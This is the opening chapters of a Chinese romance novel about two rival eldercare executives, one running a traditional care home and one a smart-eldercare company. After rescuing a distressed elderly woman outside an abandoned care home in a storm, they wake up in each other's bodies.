《炽氧》
1. 氧气+1
淮北市第七届养老产业高峰论坛在临安大厦隆重举行。
会场内灯光璀璨,LED大屏循环播放着各大养老企业的宣传片。
许暻坐在前排,随手翻阅秘书刚送过来的会议手册。
指尖轻轻敲打在平滑的纸张上,她的目光扫过一长串的介绍,在最后一行停了下来。
特邀嘉宾:颐安科技CEO——祁聿。
许暻抿了抿嘴,反手关了手册,却恰好在抬头的瞬间瞥见从会场外进来的那抹高挑的身影。
祁聿一身干净利落的墨色西装,正侧头与身边的助理交谈,袖口露出的腕表在灯光下折射出冷光。
他似乎感应到了她的视线,悠悠抬眸。
四目相对,许暻看到他嘴边勾起了一抹似笑非笑的弧度。
许暻干脆地收回视线。
暗自腹诽:真是阴魂不散。
头顶的灯光汇聚,主持人已经站在台上,正式拉开论坛序幕。
“……下面,让我们有请桐馨养老院的院长许暻女士带来《人文关怀——养老产业的核心竞争力》的主题演讲!”
起身时,许暻余光注意到祁聿在她正后方的空位上落座。
宽大的站台上,她挺身而立,扫眼往下望去,眸光恍然对上那双带了点挑衅的眸子。
许暻不动声色地调试话筒的位置,清冷从容的面庞在聚光灯下成为站台上最完美的焦点。
“大家好,我是来自桐馨养老院的许暻,非常荣幸能够站在这里。”
话语有短暂的停顿,台下雷鸣般的掌声响起。
正前方那人象征性地抬起手,不紧不慢地拍了两下,挑了挑眉,一副‘洗耳恭听’的表情。
许暻几不可察地撇了撇嘴,注意力重新集中在演讲。
“‘让每一位老人都能够安度晚年’一直是我们行业最核心的价值,人文关怀则是养老产业最核心的竞争力,这一年来,桐馨养老院在业内获得广泛认可,在人文领域的研究也越来越深入。”
“……最后,我想分享一个真实案例。”
许暻切换了画面,屏幕上出现一张照片:一位银发老人亲密地握着护理员的手,笑容温煦。
“张奶奶已经在我院住了五年,这几年在我院较为完善的人文关怀体系与服务下,张奶奶的焦虑症有了非常明显的缓解,她一直说——”
“‘这里的每一个人,都让我觉得老年生活很幸福’。”
话音刚落,台下的祁聿突然侧了侧头,发出一声低笑,举起手。
许暻捏着话筒的手紧了紧,“祁总有何高见?”
祁聿站起身,冷光下的眉骨显得格外凌厉。
“高见谈不上,只不过我想请教许总,桐馨养老院近三年的投诉率上升了17%,其中绝大部分原因都与护理员的响应速度有关。”
“请问,您的人文关怀,能解决这个问题吗?”
会场骤然安静。
许暻指尖暗暗掐进掌心,脸上绽开明媚的笑,笑意却不达眼底。
“祁总真是对竞争对手了如指掌,只是你忽略了最重要的一项。”
她又切换画面,一张对比图出现在大屏幕上,“我院的老人抑郁指数比行业的均值低了将近一半,这正是人文关怀发挥的作用,同时,也正是那些投诉警醒了我要更加严格地筛选与培训护理员。”
她直视祁聿,话语犀利:“毕竟,机器再怎么智能,也不会在老人孤独害怕时给老人温暖的宽慰。”
台下出现短暂的沉默,紧接着一片哗然,议论四起。
谁不知道祁聿是推行智能养老模式的先锋?
前不久他又高价收购了一家医疗企业,正式推出智能养老床垫,打开了新型养老的大门。
用同行者的话来说,祁聿敢想又敢做。
许暻这话,明显是在针对祁聿。
“又是他俩?”某医疗机构的老总在一旁看热闹。
另一位养老服务中心的负责人已经见怪不怪:“他俩正常,行业里谁不知道这许暻和祁聿合不来,一见面就掐?上次的展览会都差点打起来了。”
“打起来了?这么夸张?”
“是啊,这两人都是行业里的顶尖人才,可惜啊,一个是汹涌的浪潮,另一个呢,是炽热的火焰,这碰到一起自然不能消停。”
“……”
主持人为了继续走流程,及时打断了两人的交锋,许暻重新回到座位上。
刚坐下,身后的人不知是有意还是无心,轻轻踢了一下她的座椅。
她冷冷转眸,没有理会,接着听接下来的演讲。
……
中场休息的茶歇厅里,许暻正等着手磨咖啡。
她靠在柱子旁,给副院长编辑着消息。
「李奶奶最近换了新的口服药,记得嘱咐她多喝水,及时排尿;顾爷爷的女儿今天有事不能来,晚餐给他安排他爱吃的红烧茄子,一定要少油少盐;杨奶奶最近都睡不好,找小李给她按按摩。」
「我结束论坛这边还有其他的事,今天就不回去了。」
简单交代完,手磨咖啡也好了。
许暻拿了三包糖,端着咖啡去了旁边的小圆桌。
细腻的甜糖迅速在咖啡里融化,褐色的咖啡液轻轻晃荡,冒着醇香气。
“血糖摄入过多会加速皮肤老化的。”身后突兀地传来熟悉又低沉的男声。
许暻并未回头,把最后一包糖倒进去,满意地搅了搅咖啡液:“祁总连竞争对手的健康也要监管?”
黑咖啡的苦香混杂着清新的雪松香飘过来,许暻抿了口手里带着甜味的咖啡。
这人还是那么喜欢吃苦,真变态。
“只是好心提醒。”祁聿将那杯近乎墨黑的咖啡放在许暻跟前,苦香更浓,“许总最近倒是挺忙,既要参加论坛,又要忙着收购废弃养老院。”
许暻搅动咖啡的手顿了顿。
她抬眼,对上祁聿辨不清意味的眸。
黑咖啡的苦香之后又带了点涩。
许暻冷哼:“祁总真是一个合格的竞争对手,连我的动向都知道得一清二楚。”
祁聿面色从容,喉结微动,还没回答,会场内已经有人来提醒中场休息结束。
许暻干脆起身,没有听他的回答的意思。
然而她的动作太急,一个没站稳,高跟鞋险些崴脚。
好在祁聿跟着站了起来,许暻眼疾手快地撑住了桌子,失衡的鞋跟踩在了祁聿锃亮的皮鞋尖上。
祁聿停了脚步,伸手借了她力,等她站稳后又迅速松开:“站不稳就别穿高跟鞋,这么细的跟,脚踝都跟着你遭罪。”
下一秒,祁聿因为脚背上突然加重的疼痛‘嘶’了一声。
“没关系,能让祁总陪着我痛,我很荣幸。”
许暻笑得太假,全是破绽。
她重新站直身子,稳步往会场走,全然不顾身后的男人。
祁聿盯着那抹张扬的背影,一口饮入已经发凉的黑咖啡,顶了顶腮,跟了进去。
-
论坛结束在下午五点。
许暻着急出会场,她今天没开车,网约车已经提前到达等在楼下。
目的地脱离了市中心的繁华,多了几分神秘的韵味。
许暻在古玩店门口下了车。
她已经和老板提前约好。
老板正在柜台前等她。
“林老板,好久不见。”
许暻客套地打了招呼。
林老板稍稍颔首:“坏成什么样了,给我看看。”
许暻从包里拿出了用盒子
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装好的老怀表,这是爷爷奶奶留给她的东西,前两天,这块怀表突然不走了,齿轮也有掉落的趋势。
“这表怎么都不走了,您看看能修好吗?”
林老板绕着怀表看了一圈,又拿手电筒扫了扫内圈,胸有成竹道:“可以修好,你过两天来拿就成。”
闻言,许暻悬着的心总算落下。
她点了点头:“没问题,谢谢您!”
话音刚落,门口的风铃突兀地响起。
林老板侧头看了一眼,眸色微动。
她回头,带着几分揶揄提醒许暻:“你的死对头来了。”
然而没等许暻回头,祁聿就已经站在了她身边。
“……”
许暻一动不动,没有要理他的意思。
“许总行程安排得挺满。”
祁聿的目光落在林老板手里的怀表上:“这么久了,你还留着?”
他记得,这是许爷爷的遗物。自从许爷爷出事之后,许暻一直把这块表带在身边。
“你是打算全方位监视我?”
许暻往旁边挪了两步,跟他拉开距离。
祁聿不紧不慢地从西装内袋掏出一块鎏金怀表放在柜台:
“林老板,上次说缺的零件到了吧?”
许暻余光扫到那块表,和她的有几分相像,只是挂链部分稍微有些不同。
林老板笑眯眯的,“你们俩来得挺巧,这两块表还是同一批次的,能一起修!”
空气凝固了一瞬。
祁聿悠悠侧眸:“许总,看到没,这是巧合,我没想监视你,只是次次都能碰上你。”
许暻明显不信。
“这个在我们这叫有缘份!”
林老板的话悄然插入,却瞬间被许暻否定:“林老板,您别听他瞎扯,他就是故意的。”
林老板笑了笑,没再接话。
确定怀表能修好,许暻也打算离开:“林老板,我先走了,两天后我过来拿。”
“好。”
临走时,许暻狠狠睨了一眼祁聿。
风铃声响起时,许暻听见身后一阵悠扬的钟声响起,林老板似乎在和祁聿说些什么。
“……这个钟是很多年前的古董钟,有一个很特别的名字,叫‘执念’……”
后面的话,许暻没再听清。
她也没有兴趣。
她只希望那块表不出任何问题。
她打算走到路口去打车,回家的路正好经过怡康养老院,还能去考察一下。
然而她刚走出一小段路,天色骤然暗沉,仿佛一滴浓墨坠入云层。闷热的空气陡然凝滞,风声骤停。
远处突然传来一声闷雷,像是云层上有东西砸下来一样。
下一秒——
雨滴如箭矢般射下,哔哩啪啦地砸在沥青路面上,瞬间溅起无数水花。
许暻迅速移步到屋檐下,决定不再走到路口,就地约车。
三分钟后,她望着稠密的雨幕皱眉——
她约上的网约车被取消了订单。
许暻只好加钱。
“需要搭便车吗?”
低沉的嗓音蓦然穿透雨帘,传入许暻的耳际。
模糊灰暗的滂沱中,祁聿的车稳稳地停在那里,前方闪着冷白的车灯,雨滴清晰地砸向灯头。
许暻继续加钱,清冷的面容半掩在雨雾中,她侧过身,干脆拒绝:“不必,上你的车,我还不如淋回去。”
“你家距离这23公里,穿着高跟鞋淋雨回去,许总是想卖我人情,让我无痛少一个竞争对手?”
许暻的嘴角抽了抽,一股劲从心口冒出来。
她在软件上点了取消订单。免费的车,她不上白不上!
她正转身,却陡然对上他噙着笑的眸子。
2. 氧气+2
从认识他开始,许暻就不太喜欢这种笑。
伴随着这种笑出现的,一般都不是什么好事。
“上车吧,顺路。”
祁聿撑着伞,胳膊动了动,做出邀请的架势。
“顺路?”许暻冷睨他一眼,含着几分警惕。
他家可不顺路。
雨滴用力地拍打在伞上,他的声音被包裹在雨声中:“我回我爸妈家。”
“……”
那股差点被按下的劲又涌了上来。
黑色的奔驰在暴雨中平稳行驶,车内飘着祁聿独有的清冽雪松香,混杂了些雨水的生涩气息。
暖气开得很足,许暻坐在副驾驶座上,拿纸巾擦拭自己的湿发。
车停在十字路口等红灯时,她的腿上多了条毛巾。
“拿这个擦吧,我车上没有垃圾桶。”
言外之意就是:她擦的纸巾会影响他车内的清洁。
“我知道,祁总的垃圾一般都是往脑子里扔的。”她把脏了的纸团塞进包里。
祁聿握着方向盘的指节微微泛白,嘴角勾起一抹浅浅的弧度。
“许总倒是了解我。”
他目视前方,语气平淡:“不过,我脑子里的‘垃圾’,能建成一个全新的科技养老社区。”
许暻撇了撇嘴,不想和他聊这个,没有接茬。
她十分嫌弃地用指尖捻起毛巾,一只八块腹肌的粉红猪正摆着可爱的表情,十分‘水灵’的大眼睛直视着她。
她一个激灵,感觉灵魂像是被人给抽了一下。
许暻长长地‘嘶’了一声:“你这毛巾还敢再丑一点吗?”
祁聿不以为然:“好用就行,外表不重要。”
许暻嫌弃地把毛巾对折,慢慢捻干头发上的雨水。
“行了,知道你审美不好,就像你的科技养老社区,毛巾我将就用了。”
“……”
车内的硝烟因为祁聿的卡壳暂时止住,窗外的暴雨却丝毫没有要停的迹象。
车流稀少的道路上,黑夜增添了几分混沌。
许暻擦干了头发,将毛巾放在一边,准备问问养老院的情况。
「李奶奶的药有按时吃——」
消息还没编辑好,祁聿骤然踩了刹车,她猛地前倾,又被安全带狠狠勒回座椅,手机因为失衡从手里滑了出去。
祁聿单手控着方向盘,另一只手抓住了她差点一起掉下去的包。
“你怎么开车呢?”
许暻后背重重地撞在汽车座椅上,安全带勒得锁骨生疼。
雨水在挡风玻璃上炸开水花,雨刷器不停摆动,窗外仍然模糊成一片。
祁聿快速拉起手刹,解了安全带。
“有人倒在路边!”
他声音里罕见的急促让许暻也跟着紧张。
没等她回应,驾驶座的车门已经被推开。祁聿连外套都顾不上拿,黑色的衬衫瞬间被暴雨浸透,紧贴在精瘦的背部肌肉上。
他几个跨步冲到几米之外的人行道旁,蹲在积水中查看倒地的人影。
许暻抓起后座的折叠伞追下去,指甲在伞柄的金属按钮上打滑好几次才撑开。
冰凉的雨水顺着伞骨边缘打在了她身上,高跟鞋踩进水洼时,污水也随之溅起。
等她踉跄着跑到祁聿跟前,发现竟是一位白发苍苍的老奶奶躺在路边,浑身被雨淋得湿透。
许暻连忙递了伞,挡住老人头上的雨柱。
祁聿靠近了一些,却始终保持恰到好处的距离,没有贸然触碰老人。
“老人家,您需要帮助吗?”
许暻弯下腰,声音柔和了许多。
老人缓缓抬头,浑浊的眼仁中透着迷茫。
她的嘴唇颤抖着,却说不出完整的句子:“等…要等阿澄……”
祁聿慢慢伸出手:“这雨太大了,您先起来,去前面的屋檐下等阿澄,好吗?”
雨水顺着老人布满皱纹的脸颊滑落,眼仁中的迷茫并未消散。
祁聿试探性地触碰,试图将老人扶起来,却在握住老人手腕的那一刻被狠狠挣开。
老人突然激动起来,瘦弱的身体却有着惊人的力量。
她猛地推开祁聿,反手打掉了许暻撑着的伞,好似突然受了刺激,她撑着地面站起身,突然转身往后跑。
许暻和祁聿一个踉跄,险些倒在积水中。
两人迅速交换一个眼神,然后快步追了上去。
老人冲到一扇紧闭的大铁门前,死死抓住锈迹斑驳的铁杆,疯狂嘶吼:“阿澄!阿澄!你们放开阿澄!”
许暻和祁聿在老人身后驻足,许暻抬头望去,招牌的灯管已经破损大半,只剩下一串小灯柱在雨中闪烁着诡异的蓝光,待看清招牌字时,许暻猛然一愣——
怡康养老院。
“奶奶,您先别激动,这里面没人,您先跟我们上车好不好?”许暻上前拦住老人的动作,老人布满皱纹的手中沾满了铁锈。
她心里一揪,用手轻轻抹掉锈块,又拨开老人挡在眼前的湿发。
老人依旧挣脱,嘶哑的嗓音在暴雨声中更显凄凉,她比刚才还要激动,完全没有控度地在铁门前来回踱步:
“阿澄!我的阿澄!都来打我……下雨…在下雨…院长……”
没有逻辑的话语让许暻根本无法理解她的需求。无奈,许暻只好重新握住她的手,先稳住她的情绪。
她尽量让自己的声音听着轻柔:“奶奶,您先跟我们走,阿澄不在这里,等雨停了,我陪您一起找阿澄好吗?”
祁聿的目光从头顶的招牌收了回来,不同于刚才的担忧,他的眉眼间多了几分凌厉。
他上前帮着搀扶住老人,一起安慰:“老人家,这里是废弃养老院,没有人在里面,您跟我们一起走,我们帮您找人,好吗?”
他一字一句慢慢说清,试图让老人理解他的意思。
老人的情绪有了好转的迹象,嘶吼声停止,眼眸在两人身上打转,有几分相信,也有几分迟疑。
许暻趁机牵住老人的手,另一只手揽住老人的肩,试探性询问:“奶奶,我们上车好不好?”
这一次老人没有再排斥许暻的动作,祁聿快速撑起伞悬在两人头顶,站在她们身后。
老人嘴里轻喃了一声:“阿澄……”
视线缓缓移向温暖的手中,然而在注意到纤细的手腕上的手镯后又蓦然推开许暻。
两人一惊。
下一秒,不等许暻反应,老人直接将她推倒在地上。
冰冷的雨水瞬间灌入衣服里,许暻从头到脚整个浸透。
“奶奶——”
老人扬起拳头重重地朝许暻的脸砸了下去,她连话都来不及说,剧烈的疼痛已经落在了脸上。
出于本能的防御,许暻拿手臂挡在脸前,老人却使出了全身的力来打她。
“你们见死不救!都是因为你们!什么许院长,就是忘恩负义的杂种!”
老人变得愤怒起来,像是情绪沉积已久,骤然触到了发泄的开关。
祁聿几乎是立刻把老人从许暻身上拉了起来,然而老人使出了蛮力,两只手死死抓着许暻的手镯,苍老的眼眸中布满猩红:
“都是因为你!是你们桐馨!是你们见死不救!”
许暻的身体因为拉扯被迫悬空
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,手腕被强硬的拉扯勒出红痕,她忍着疼痛,没有叫出声,胸口剧烈起伏,苍白的脸上露出惊讶的神色。
“您知道桐馨?”
她戴的手镯是桐馨最初建院的时候爷爷送给奶奶的,爷爷奶奶出事之后她就一直戴在手上,只是除了她父母,几乎没有人知道这手镯和桐馨有关。
老人仍然没有回答,嘴里却一直重复:“都是你们!我的阿澄…我的阿澄啊……你们还给我阿澄……”
她的手丝毫没有要松开的意思,祁聿试图将老人的手拉开,转瞬,老人一个挥拳,直接打在了祁聿的太阳穴。
脑中一片天旋地转,祁聿没站稳,往后栽去。
老人像是断了线的木偶,完全不受控制。她跳到祁聿身上,拳头拼了命地往祁聿身上砸。
许暻来不及想那么多,上前阻拦。
老人又一把抓住她的头发,用力撕扯着。许暻咬着牙挣脱,可老人的手上像是有粘合剂一般,怎么都无法甩开。
狂骤的暴雨中,一道紫电猛然劈下,带来了更凶猛的雨势。
许暻不知道是不是自己的错觉,她仿佛听见了噼里啪啦的雨声中扬着一阵钟声,像是从远处传来,泛着空灵的悠荡。
头皮上剧烈的疼痛渐渐转为麻木,许暻蓦地失去了所有气力,彻底倒在了冷涩的雨水中。
身上的疼痛好像慢慢消失了,连雨水的拍打也感受不到了。
眼前一片昏暗,怡康养老院的招牌失去最后一抹光亮,她感觉所有的一切都变得混沌起来,大脑骤然失去思考的能力,眼皮也逐渐抬不起来。
许暻试着动了动身子,却仿佛被什么东西禁锢着,动弹不得。
只有耳边的钟声还在回荡。
在完全失去意识之前,她只看到了同样倒在雨中的祁聿。
……
许暻感觉自己好像睡了很久,做了一个长长的梦,梦里一片混乱的景象,雨声、鸣笛声、钟声混杂,身上还有间歇性传来的痛感。
她翻了个身,感觉有些奇怪,但又说不上来是哪里奇怪。
鼻尖扑入熟悉的雪松香,她下意识皱了皱眉,试图赶走这香气的来源。
许暻在睡梦中扔了枕头,裹紧了身上的被子,然而那股味道不仅没有消散,反而更浓。
太阳穴涨涨的,她抬手揉了揉,又一脚踢开被子。
心底一阵烦躁,许暻没了睡意,长长地吐了口气,骤然睁眼。
然而在她看清眼前的环境之后,整个人完全定在了床上。
她愣了足足一分钟——
这是哪里?
好陌生的房间,冷灰色的墙壁,十分简洁的挂灯。侧面靠着墙有一张长条桌,笔记本电脑立在那,旁边还有一摞书。
另一边的窗户下摆着两个灰色的小沙发,沙发上iPad被随意扔在那里。
许暻从床上坐了起来,却被正前方墙壁上挂着的全家福给吓了一跳——
祁聿的全家福?
她是在祁聿家里?
太阳穴还是很涨,她低下头又揉了揉,下一秒却因为自己腿上茂密的腿毛傻眼。
她几乎是立刻从床上弹了起来,站稳之后,她不可置信地翘起腿,以为自己是看花了眼。
可她拍了拍腿——
并没有看花眼。
许暻拧起眉,心底的疑惑还没消解,她又觉得还有哪不对劲。
比如自己的手脚为什么这么大?而且她感觉自己好像突然长高了,还有身下那种……
异常陌生的感觉。
没等她深想,房间的门突然被敲响,门外传来一道熟悉的声音:“阿聿,你醒了吗?”
3. 氧气+3
“我……”
许暻一怔,喉间下意识溢出的声音让她瞳孔皱缩——
她的声音……怎么变成了祁聿的声音?!
她本能地捂住喉咙,掌心却触到了陌生凸起。圆润的喉结随着吞咽动作上下滚动,许暻完全懵了,双腿一软,踉跄着跌坐在身后的床榻上。
“不……”
颤抖的尾音消散在空气中,余光瞥见桌上立着的笔记本电脑,她定神看去,视线聚焦在电脑屏幕上的刹那,如遭雷击——
祁聿?!
外面的人听见她回应,于是继续道:“你醒了是吧?还有没有哪不舒服的?”
许暻还沉浸在巨大的惊恐之中没缓过神,根本无暇回应。
外面的人没听见回应,又敲了敲门:“阿聿?你听到妈妈说的话了吗?”
“啊……”干涩的嗓音艰难地从喉咙里挤出来,许暻又忍不住咽了咽口水:“我…我没事。”
这样低沉醇厚的声音,她用起来十分不适应。
祁母听到回应,终于松了口气:“没事了就好,对了,你记得给小暻打个电话过去,问问她好些了没有,我和你爸下午有事得出去一趟,你如果要回你自己那边记得给我发个消息。”
“…好,我知道了……”
许暻紧张地回应,听见门外的脚步声远了,大门传来一声闷响,紧绷着的肩背才松懈下来。
她对着黑黑的电脑屏幕三百六十度无死角反复查看自己的脸,又打开了iPad的相机再次确认,依旧不愿意接受她在祁聿的身体里的事实。
她记得昨晚他们在路边遇到那个举止怪异的老奶奶,她想去从祁聿身上拉开她,结果听见那阵莫名的钟声之后就突然晕倒了。
可她又为什么会在祁聿的身体里?
那她的身体又在哪?祁聿呢?
蓦地,许暻想起刚才祁母的话:“你记得给小暻打个电话过去……”
她一个翻身从床头捞起了祁聿的手机,直接面容解锁,去通讯录里翻自己的号码。
然而在看到备注的那一刻,指尖在屏幕上方顿住。
毒舌…野玫瑰?
眉眼间展露的嫌弃已经藏不住,她冷嗤一声:“会不会取名字?我毒舌野玫瑰,你还自负科技怪呢,拿到手机就给你改名字!”
许暻骂骂咧咧地打通了电话,铃声响了很久才被接起,听筒里是她再熟悉不过的‘自己’的声音:
“你醒了?”
虽然是她的声音,却带着祁聿独有的尾音下沉的语调。
他这样平淡的反应,让许暻心底气不打一处来,她深吸了口气,拧着眉问:“昨晚到底发生了什么?为什么我会在你的身体里?!”
那头的人像是在吃东西,发出轻微的咀嚼声:“昨晚我们救了那位老人家,她情绪失控殴打我们,后面的事我也不清楚。虽然很匪夷所思,但是我能确定,我们是灵魂互换了。”
“灵魂互换?!”
许暻眉头拧得更紧,脸上挤出不自在的神情。
电话里的人不紧不慢,仿佛完全接受了这个事实一般,淡定地开口:
“对,而且目前应该是没办法换回去的。”
“……”
他一点不着急的态度,好像每句话都在突出他的‘理性’,就和他的那些智能机器没什么两样。
冰冷且没有人情味。
许暻的语气沉了下来:“祁总,现在不是彰显您的淡定的时候,赶紧想想怎么办呀!”
“我想好了,你住到我家去。”那头的人快速给出解决方案。
“住你家?!”
许暻彻底坐不住,从床上站起来,恨不能马上给他一拳:“你到底能不能说点有用的?”
她头一次觉得‘自己’的声音这么窝火。
“我们两个住在一起才能及时发现怎样可以换回来。”
祁聿开始解释:“而且眼下这个情况,我们没办法直接去公司,得代替彼此去管公司的事,只有住在一起,才能及时沟通。”
“如果许总不愿意,我也不介意住你家。”
电话里的人又补充道。
“不行!”拒绝的话许暻脱口而出,手指心虚地挠了挠头,“就住你家!”
不知道是不是她幻听,她好像听见听筒里有一声压得很低的笑快速扫过。
“没问题,你现在应该也在我爸妈那吧?等着,我去接你。”
没等她开口,电话里已经传来断线的声音。
“……”
许暻整个人定在床边,手机在僵硬的掌心里有滑落的趋势。她撇了撇嘴,直接扔了手机。
心底升起一种莫名其妙被坑了的感觉。
然而生理上的反应很快盖过了心理的反应,从刚才就一直被她忽视的那种陌生的发涨的感觉蔓延至小腹。
她的视线往下移去,不自然地咽了咽口水,她很想压住那种感觉,可祁聿的身体却强烈地反抗着她的意识。
许暻觉得一秒钟都无法坚持下去了。
她蹑手蹑脚地进了洗手间,眼睛自动避开所有镜子。
她很着急,可越是着急,手上的动作就越是不顺畅。在关着门的空间相对狭小的厕所里,她的脸已经憋得发烫。
五分钟后,她深吸了一口气,在洗漱台边红着脸洗了好几遍手,心虚地关了厕所门。
不舒服的感觉终于消散,紧绷的肌肉瞬间松懈,她重新回到房间打算换身衣服。
被她扔在床上的手机陡然响了好几声,许暻以为是祁聿发来的消息,把挑选好的一套合眼的常服放在床上,拿起了手机。
然而消息不是祁聿发的,是祁聿的助理。
一连串的消息,许暻一眼看到了最重要的信息,脸上停留的红晕骤然褪去,眸色猝然一沉——
「祁总,怡康养老院的收购方案已经准备好,明天早上九点我已经约了养老院前负责人张总见面。」
「一些具体的事项已经给您发过去,您看看是否需要修改。」
祁聿也打算收购怡康?
半年前,怡康养老院在宣布倒闭之后就一直废弃闲置,因为地处偏远,根本没有人看中这块地。
可许暻认为这边很适合建设养老院,之前做背调时也发现这一区域的留守老人居多,且大部分老人都有基础疾病在身上,又离医院较远。
在这一块建设养老院,至少能为一部分老人提供养老需求。
但许暻了解到只有她有收购的意愿,况且以祁聿的需求来看,他根本没理由收购怡康。
难不成他是想在这里建立智能养老社区?
可科技养老社区在这一块都不一定会有受众。
还是说他只是为了针对她?
这个消息对许暻来说无疑是坏消息。她和祁聿本就是竞争对手,且理念不一,再加上祁聿所在的公司又颇具财力,倘若他加入到这场收购战里,她可能就无法以理想的价格收购怡康了。
许暻反复打开手机,看了一遍又一遍那几条消息。她很想回复点什么,却又不想以不光彩的方式去赢祁聿。
她的注意力全都集中在手机上,以至
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于在祁聿进门时,她都没有注意到。
直到捏在手里的手机突然被拿走,她抬头看到了眼前的‘自己’。
祁聿不动声色地拿回手机,一张脸上平静得没有任何波澜,可许暻听出来了被他压住的一丝不悦:“偷看别人的手机可不是一个好习惯,许总。”
许暻骤然回神,神色却没有变,她站起身,借着他的身体有了几分压迫感,“你也打算收购怡康?”
祁聿把许暻的手机还给了她,又把自己的手机关了放进口袋,暂时没有回复助理的消息。
“只是考虑。”他十分平淡地回答,甚至带着一种刻意的疏离。
看到他变得严肃起来的眸子,许暻话语一噎,身侧的手下意识收紧,后面的话已经不再能说出口。
气氛一时间有些尴尬。
是祁聿主动打破了僵局:“走吧,先回你家收拾东西,路上聊聊那位老人家的事。”
许暻被祁聿推着换了衣服,上车时,她心情还是有些复杂。
祁聿已经说起了昨晚的事:“来接你之前我问过了,昨晚是古玩店的林老板在回家的路上发现了我们,恰好当时我爸妈给我打电话,林老板接了,跟我爸妈说我们两个晕倒在了路边,我爸妈就联系了你爸妈,赶过来之后,去医院检查了确认没事之后就带回家了。”
“那位奶奶呢?”许暻问。
祁聿在路口停了车:“在医院,是林老板叫的救护车,她精神失常晕了过去,没什么大碍,不过据说没有联系到家属,很有可能是孤寡老人。”
许暻回想起昨晚的一些片段。
那位老人偏偏是在怡康养老院门前找人,她不仅知道桐馨,还认识爷爷,甚至说爷爷见死不救。
她身上到底有什么秘密?她要找的人又是谁?爷爷又和她有什么关系?
心底仿佛绕着团团迷雾,一重裹着一重。
许暻低着头思索,眉头渐渐拧成了一团。祁聿又接着说:“之后如果还找不到老人的家人,就把她安排进我们的养老社区里生活。”
“凭什么?”话音刚落,许暻立刻反驳:“要进也该进我们养老院,那位奶奶认识我爷爷,还那样说爷爷,我得弄清楚到底怎么回事!”
去祁聿那里,只会成为他研发科技数据的样本之一,有的只是冰冷的机器照料,根本没有温暖的陪伴。
祁聿沉默了片刻,一直盯着前方,似乎有些出神,连前方的红灯变绿都没有注意到。
许暻疑惑地转头,拍了拍方向盘:“想什么呢?赶紧走啊。”
后边的车辆也已经等不及,响起了鸣笛声。
祁聿这才松了刹车。
许暻正考虑着要不要去医院看看那位老人,祁聿的话已经在耳边响起:“一会去医院拜访一下那位老人吧,了解一下具体的情况之后再做决策。”
……
许暻回自己的公寓只是简单收拾了几件衣服和部分用物,并没有在祁聿那里久居的打算。
她一定会尽快想办法换回来。
半小时后,她推着一个不算大的行李箱从房间里出来。
祁聿无声扫过行李箱,抿了抿唇。
“走吧。”许暻开口。
然而两人的脚步被突如其来的手机提示音打断。
是许暻的秘书发来的消息:
「院长,怡康的张总已经答应和我们签合同,并且同意再让5个点。」
与此同时,祁聿也收到助理的消息:
「祁总,张总临时取消了见面,理由是怡康已经和别家签订收购合同。」
4. 氧气+4
看到消息后,两人同时抬眸。
四目相对,答案已经显露在神色中。
“张总要跟桐馨签合同?”祁聿用着许暻的躯体,却展现出他独有的冷峻。
许暻思忖片刻,直接把手机递了过去。
如果真要签合同,还得让祁聿去,告诉他才是最好的选择。
许暻看到自己的那张脸覆了些阴郁,只是屋内的光又很快将其扫荡,祁聿把手机重新送回她手上:
“我可以替你谈,但我有一个条件。”
许暻动了动眸:“什么?”
清冽的嗓音混杂了他们两人的特质,祁聿正视她,神色有几分严肃。
“关于你收购怡康的所有想法和方案,以及之后关于怡康的所有事情,我都得知道。”
许暻有几分犹豫。
然而祁聿没有给她很多思考的时间,他侧了身,朝着门口走,语调又多了些许松弛:
“我不知道也可以,那许总就自己去谈吧。”
“……”
看似给了她选择,实则她没得选。
许暻暗自咬紧牙关,忍住心底翻涌的那股劲,先稳住了他。
“我考虑一下,现在还是先去医院吧。”
她用他的脸生硬地挤出了一抹淡笑,祁聿盯着她看了两秒,不知道在想些什么,最终顺了她的意。
-
那位老人暂时被安排在医院的老年科住院,医院无法联系上其家属,已经联系过警方,据调查,老人实为孤寡老人。
老人的儿子与老伴均因家族遗传心脏病在早些年去世,儿媳难产死亡,身边只有一个孙女,名叫林澄。
孙女工作不久,因顾及老人患有老年痴呆且无人照顾,把她送到了怡康养老院,每周会来看她。
然而不幸的是,林澄在一年前失踪,至今也没有任何消息。
目前老人已经醒过来了,但身体症状仍然没有好转,痴呆程度严重,后续老人情况好转出院,医院只能联系相关的社会福利机构安顿老人。
医生告知许暻的就只有这些。
许暻和祁聿站在病房外,没有贸然进去。
老人坐在病床上,护士刚给她输好液,她茫然地望着窗外,嘴里似乎在念叨什么。
许暻缓缓皱起眉,心口说不出的难受。
护士很快从里面出来,见两人等在门口,她稍微侧身道:“老人现在情绪已经稳定下来了,你们可以进去看看她。”
许暻点了点头,便踏进了病房。
她快步走到老人跟前,目光关切。
“奶奶,您好些了吗?”
老人双目茫然,显然不认识眼前的人,也听不懂从‘他’嘴里说出的话。
她怔怔眨眸,没有任何回应。
祁聿跟在许暻身后缓步靠近,他打量了一番病床上的人,并没有进入她的视野之中,背手而立,藏住了原属于许暻手腕上的镯子。
老人不答,许暻没有继续问下去。
她剥了几瓣橘子放到老人手里,老人终于有几分动容,嘴里喃喃自语:“阿澄…阿澄……”
然后把橘子吃了下去。
原来老人口中的阿澄就是她的孙女,许暻想到了昨晚,担心老人情绪失控,她没有接话,又剥了两瓣橘子给她。
祁聿在一旁默默看着,等确认老人情绪是稳定的,他才走到许暻身边去。
然而老人一看到他此刻所占据的那具身体,脸色骤变,手里的橘子也被扔了出去。
老人的呼吸急促,混浊的瞳仁中多了几分愤怒,她指着祁聿:“你…你……”
许暻很快站起身,挡在了祁聿跟前,试图转移老人的注意,可老人却死死盯着祁聿,想要扒开许暻。
“你先出去。”许暻转头低声道。
祁聿平步从许暻身后退出了病房。
没有了刺激源,老人的情绪还是不太平静,嘴里不停重复:“桐馨,她是桐馨的…她是帮凶!她是帮凶!”
许暻只得先稳住老人,她轻轻安抚道:“奶奶,她不是桐馨的,她只是我的一个小助理,我们是另一家养老院的,是专门过来看看您的。”
老人不知道听懂了没有,但情绪好算是没有往外冲,在药物的作用下渐渐恢复了平静。
许暻稍稍松了口气,知道问不出什么,就只是安静地陪着老人。
没多久护士又进了病房,说要带老人去做检查,许暻才从病房里出来。
祁聿还在门口等她。
许暻纠结地看了他一眼,终于妥协:“你提的关于怡康的条件我可以答应,但你得把这位奶奶安排到你们的养老社区,请专门的护工照料,不要用你那些机器。”
祁聿明显犹豫,脸色冷淡。
“许总,智能社区不比你的养老院差。”
许暻本欲争辩,可她明白奶奶看到她的身体会受刺激,根本没办法带奶奶回桐馨,只能安顿在祁聿那里。
